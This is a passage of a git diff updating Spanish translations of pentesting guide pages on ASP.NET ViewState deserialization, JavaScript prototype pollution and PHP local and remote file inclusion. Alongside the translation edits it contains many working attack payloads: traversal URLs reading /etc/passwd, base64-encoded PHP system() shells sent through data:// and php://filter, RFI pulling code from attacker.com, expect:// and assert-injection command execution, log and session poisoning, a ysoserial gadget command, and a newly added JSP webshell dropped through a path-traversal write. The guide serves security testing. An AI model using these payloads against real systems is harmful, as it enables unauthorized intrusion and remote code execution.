Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). -### Caso de prueba 6 – ViewStateUserKeys está siendo utilizado +### Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado -La propiedad **ViewStateUserKey** puede ser utilizada para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\ +La propiedad **ViewStateUserKey** se puede usar para **defenderse** contra un **ataque CSRF**. Si se ha definido tal clave en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\ Necesitas usar un parámetro más para crear correctamente la carga útil: ```bash --viewstateuserkey="randomstringdefinedintheserver" @@ -204,7 +204,7 @@ Esta **primitiva de exfiltración de claves** fue explotada masivamente contra s ## Escenarios de Explotación del Mundo Real 2024-2025 y Claves de Máquina Hard-coded ### Ola de “claves de máquina divulgadas públicamente” de Microsoft (Dic 2024 – Feb 2025) -Microsoft Threat Intelligence informó sobre la explotación masiva de sitios ASP.NET donde la *machineKey* había sido previamente filtrada en fuentes públicas (gists de GitHub, publicaciones de blogs, sitios de paste). Los adversarios enumeraron estas claves y generaron gadgets válidos de `__VIEWSTATE` con los nuevos flags `ysoserial.net` 1.41 `--minify` y `--islegacy` para evadir los límites de longitud del WAF: +Microsoft Threat Intelligence informó sobre la explotación masiva de sitios ASP.NET donde la *machineKey* había sido previamente filtrada en fuentes públicas (gists de GitHub, publicaciones de blogs, sitios de paste). Los adversarios enumeraron estas claves y generaron gadgets válidos de `__VIEWSTATE` con las nuevas banderas `ysoserial.net` 1.41 `--minify` y `--islegacy` para evadir los límites de longitud del WAF: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ @@ -216,7 +216,7 @@ Rotar claves estáticas o cambiar a claves *AutoGenerate* en Web .config (` -Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto se puede crear utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada. +Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede ser creado usando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada. ```javascript // Run this in the developers tools console console.log(Object.create(null)) // This will output an empty object. @@ -13,7 +13,7 @@ Un objeto vacío es similar a un diccionario vacío, representado como `{}`. ### Funciones y Clases en JavaScript -En JavaScript, las clases y las funciones están estrechamente relacionadas, siendo las funciones a menudo utilizadas como constructores para las clases. A pesar de la falta de soporte nativo para clases en JavaScript, los constructores pueden emular el comportamiento de las clases. +En JavaScript, las clases y las funciones están estrechamente relacionadas, con funciones que a menudo sirven como constructores para clases. A pesar de la falta de soporte nativo para clases en JavaScript, los constructores pueden emular el comportamiento de las clases. ```javascript // Run this in the developers tools console @@ -61,7 +61,7 @@ El acceso al prototipo de Object es posible a través de: car1.__proto__.__proto__ Vehicle.__proto__.__proto__ ``` -Al agregar propiedades al prototipo de Object, cada objeto JavaScript heredará estas nuevas propiedades: +Al agregar propiedades al prototipo de Object, cada objeto de JavaScript heredará estas nuevas propiedades: ```javascript function Vehicle(model) { this.model = model @@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!" car1.__proto__.__proto__.isVehicle = true console.log(car1.isVehicle) // Outputs true ``` -## contaminación de prototipos +## contaminación del prototipo Para un escenario donde el uso de `__proto__` está restringido, modificar el prototipo de una función es una alternativa: ```javascript @@ -144,7 +144,7 @@ console.log(key1 + "." + key2) ``` ### Contaminación de elementos de matriz -Note que, así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (note que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban). +Note que así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (note que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban). ```javascript c = [1, 2] a = [] @@ -156,7 +156,7 @@ c[1] // 2 -- not ``` ### Contaminación de elementos Html -Cuando se genera un elemento HTML a través de JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario.** [Idea y ejemplo de este artículo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). +Al generar un elemento HTML a través de JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario.** [Idea y ejemplo de este artículo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). ```javascript // Create element devSettings["root"] = document.createElement('main') @@ -183,9 +183,9 @@ Object.prototype.isAdmin = true let user = {} user.isAdmin // true ``` -El mecanismo detrás de esto implica manipular propiedades de tal manera que, si un atacante tiene control sobre ciertas entradas, puede modificar el prototipo de todos los objetos en la aplicación. Esta manipulación típicamente implica establecer la propiedad `__proto__`, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto. +El mecanismo detrás de esto implica manipular propiedades de tal manera que, si un atacante tiene control sobre ciertas entradas, puede modificar el prototipo de todos los objetos en la aplicación. Esta manipulación generalmente implica establecer la propiedad `__proto__`, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto. -Las condiciones bajo las cuales este ataque puede ser ejecutado con éxito, como se detalla en un [estudio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) específico, incluyen: +Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se detalla en un [estudio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) específico, incluyen: - Realizar una fusión recursiva. - Definir propiedades basadas en una ruta. @@ -197,6 +197,7 @@ customer.__proto__.toString = ()=>{alert("polluted")} ``` ### Contaminación de Proto a RCE + {{#ref}} prototype-pollution-to-rce.md {{#endref}} @@ -207,6 +208,7 @@ Otros payloads: ## Contaminación de prototipos del lado del cliente a XSS + {{#ref}} client-side-prototype-pollution.md {{#endref}} @@ -218,7 +220,7 @@ client-side-prototype-pollution.md $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode) // Outputs: true ``` -Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia. +Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia. ### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash @@ -228,7 +230,7 @@ Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia ### Otro tutorial con CVEs -{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} +- [https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2](https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2) ### Herramientas para detectar Contaminación de Prototipos @@ -336,7 +338,7 @@ requests.get(TARGET_URL) Para reducir el riesgo de contaminación del prototipo, se pueden emplear las siguientes estrategias: -1. **Inmutabilidad de Objetos**: El `Object.prototype` puede hacerse inmutable aplicando `Object.freeze`. +1. **Inmutabilidad de Objetos**: El `Object.prototype` se puede hacer inmutable aplicando `Object.freeze`. 2. **Validación de Entrada**: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación. 3. **Funciones de Fusión Seguras**: Se debe evitar el uso inseguro de funciones de fusión recursivas. 4. **Objetos sin Prototipo**: Se pueden crear objetos sin propiedades de prototipo utilizando `Object.create(null)`. diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 93cf2b94f..bf51a1a3c 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,8 +4,8 @@ ## Inclusión de Archivos -**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ -**Inclusión Local de Archivos (LFI):** El servidor carga un archivo local. +**Inclusión de Archivos Remotos (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ +**Inclusión de Archivos Locales (LFI):** El servidor carga un archivo local. La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor. @@ -13,7 +13,7 @@ Funciones **PHP vulnerables**: require, require_once, include, include_once Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Archivos LFI2RCE - Interesantes - Ciegos +## Archivos LFI2RCE Interesantes - a Ciegas ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` @@ -21,6 +21,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ **Combinando varias listas de LFI de \*nix y añadiendo más rutas he creado esta:** + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} @@ -34,6 +35,7 @@ Una lista que utiliza varias técnicas para encontrar el archivo /etc/password ( Fusión de diferentes listas de palabras: + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} @@ -49,7 +51,7 @@ Revisa la lista de LFI de linux. ## Basic LFI and bypasses -Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -76,7 +78,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Desde una carpeta existente +### Desde la carpeta existente Quizás el back-end esté verificando la ruta de la carpeta: ```python @@ -84,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando Directorios del Sistema de Archivos en un Servidor -El sistema de archivos de un servidor se puede explorar recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto: +El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto: 1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres: ```bash @@ -96,8 +98,8 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= ``` 3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe: - **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada. -- **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`. -4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI). +- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada. +4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI). Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: ```bash @@ -125,7 +127,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor. -- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. +- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto y caracteres adicionales se pueden utilizar para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - **Determinación del número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta. - **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor. @@ -143,7 +145,7 @@ http://example.com/index.php?page=PhP://filter ``` ## Inclusión Remota de Archivos -En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: +En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php @@ -152,10 +154,10 @@ Si por alguna razón **`allow_url_include`** está **Activado**, pero PHP está ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` -> [!NOTE] +> [!TIP] > En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado). -Otro ejemplo **que no utiliza el protocolo `php://`** sería: +Otro ejemplo **sin usar el protocolo `php://`** sería: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` @@ -209,11 +211,11 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando envolturas y protocolos PHP +## LFI / RFI usando envoltorios y protocolos PHP ### php://filter -Los filtros PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros: +Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` @@ -232,7 +234,7 @@ Los filtros PHP permiten realizar **operaciones de modificación básicas sobre > Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información) +- `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información) - `zlib.inflate`: Descomprime los datos - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Obsoleto @@ -280,12 +282,12 @@ En la publicación original puedes encontrar una explicación detallada de la t - Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente. - Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**. - El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal. -- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial hará que php dé un error. +- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle. - El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial. -- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hex). +- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal). - Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número. - El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto. -- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar. +- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado para filtrar. En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). @@ -326,11 +328,11 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`** +Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`** ### expect:// -Expect debe estar activado. Puede ejecutar código usando esto: +Expect debe estar activado. Puedes ejecutar código usando esto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -364,6 +366,7 @@ Para una comprensión detallada de la explotación de vulnerabilidades de deseri [Phar Deserialization Exploitation Guide](phar-deserialization.md) + {{#ref}} phar-deserialization.md {{#endref}} @@ -376,14 +379,14 @@ Fue posible asignar bloques de tamaños específicos abusando de más filtros ph ### Más protocolos -Verifique más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:** +Ver más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios) @@ -395,7 +398,7 @@ Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido d ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Mientras que esto tiene como objetivo detener la traversía, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar: +Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -403,16 +406,16 @@ De manera similar, para ejecutar comandos del sistema arbitrarios, se podría us ```plaintext ' and die(system("id")) or ' ``` -Es importante **codificar en URL estas cargas útiles**. +Es importante **URL-encode estos payloads**. ## PHP Blind Path Traversal > [!WARNING] > Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra. -En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**. +En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**. -En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**. +En resumen, la técnica utiliza la **"codificación UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**. Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**. @@ -422,20 +425,66 @@ Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junt ## LFI2RCE -### Inclusión de Archivos Remotos +### Escritura de Archivos Arbitrarios a través de Path Traversal (Webshell RCE) + +Cuando el código del lado del servidor que ingesta/sube archivos construye la ruta de destino utilizando datos controlados por el usuario (por ejemplo, un nombre de archivo o URL) sin canonizar y validar, los segmentos `..` y las rutas absolutas pueden escapar del directorio previsto y causar una escritura de archivo arbitraria. Si puedes colocar el payload en un directorio expuesto a la web, generalmente obtienes RCE no autenticado al dejar caer un webshell. + +Flujo típico de explotación: +- Identificar una primitiva de escritura en un endpoint o trabajador en segundo plano que acepte una ruta/nombre de archivo y escriba contenido en el disco (por ejemplo, ingesta impulsada por mensajes, controladores de comandos XML/JSON, extractores ZIP, etc.). +- Determinar directorios expuestos a la web. Ejemplos comunes: +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → dejar caer `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → dejar caer `shell.aspx` +- Crear una ruta de recorrido que salga del directorio de almacenamiento previsto hacia el webroot, e incluir el contenido de tu webshell. +- Navegar al payload dejado caer y ejecutar comandos. + +Notas: +- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (por ejemplo, un oyente XML JMF en TCP 4004). El portal web principal (puerto diferente) servirá más tarde tu payload. +- En pilas de Java, estas escrituras de archivos a menudo se implementan con una simple concatenación de `File`/`Paths`. La falta de canonización/listado permitido es el defecto principal. + +Ejemplo genérico estilo XML/JMF (los esquemas de productos varían – el envoltorio DOCTYPE/cuerpo es irrelevante para el recorrido): +```xml + + + + +../../../webapps/ROOT/shell.jsp + + +<% +String c = request.getParameter("cmd"); +if (c != null) { +Process p = Runtime.getRuntime().exec(c); +try (var in = p.getInputStream(); var out = response.getOutputStream()) { +in.transferTo(out); +} +} +%> +]]> + + + +``` +Endurecimiento que derrota esta clase de errores: +- Resuelve a una ruta canónica y asegura que es un descendiente de un directorio base en la lista de permitidos. +- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivos generados. +- Ejecuta el escritor como una cuenta de bajo privilegio y segrega los directorios de escritura de las raíces servidas. + +## Inclusión de Archivos Remotos Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion). ### A través del archivo de registro de Apache/Nginx -Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **``** e incluir ese archivo. +Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell php como **``** e incluir ese archivo. > [!WARNING] -> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**. +> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**. > > Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad. -Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\ +Esto también podría hacerse en otros registros, pero **ten cuidado,** el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. La cabecera **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de esta cabecera.\ Otras posibles rutas de registro: ```python /var/log/apache2/access.log @@ -466,7 +515,7 @@ Como un archivo de registro, envía la carga útil en el User-Agent, se reflejar GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Vía carga +### A través de la carga Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: ``). ``` @@ -492,11 +541,11 @@ En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSI /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Establezca la cookie en `` +Establece la cookie a `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Utiliza el LFI para incluir el archivo de sesión PHP. +Utiliza el LFI para incluir el archivo de sesión de PHP. ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -519,9 +568,10 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da NOTE: the payload is "" ``` -### A través de filtros php (no se necesita archivo) +### A través de filtros php (sin archivo necesario) + +Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo. -Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo. {{#ref}} lfi2rce-via-php-filters.md @@ -531,13 +581,15 @@ lfi2rce-via-php-filters.md **Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y luego el **archivo temporal no será eliminado** y podrás buscarlo. + {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### A través del almacenamiento de archivos temporales de Nginx +### A través del almacenamiento temporal de archivos de Nginx + +Si encontraste una **Inclusión de Archivos Local** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica: -Si encontraste una **Inclusión de Archivos Locales** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica: {{#ref}} lfi2rce-via-nginx-temp-files.md @@ -545,7 +597,8 @@ lfi2rce-via-nginx-temp-files.md ### A través de PHP_SESSION_UPLOAD_PROGRESS -Si encontraste una **Inclusión de Archivos Locales** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos 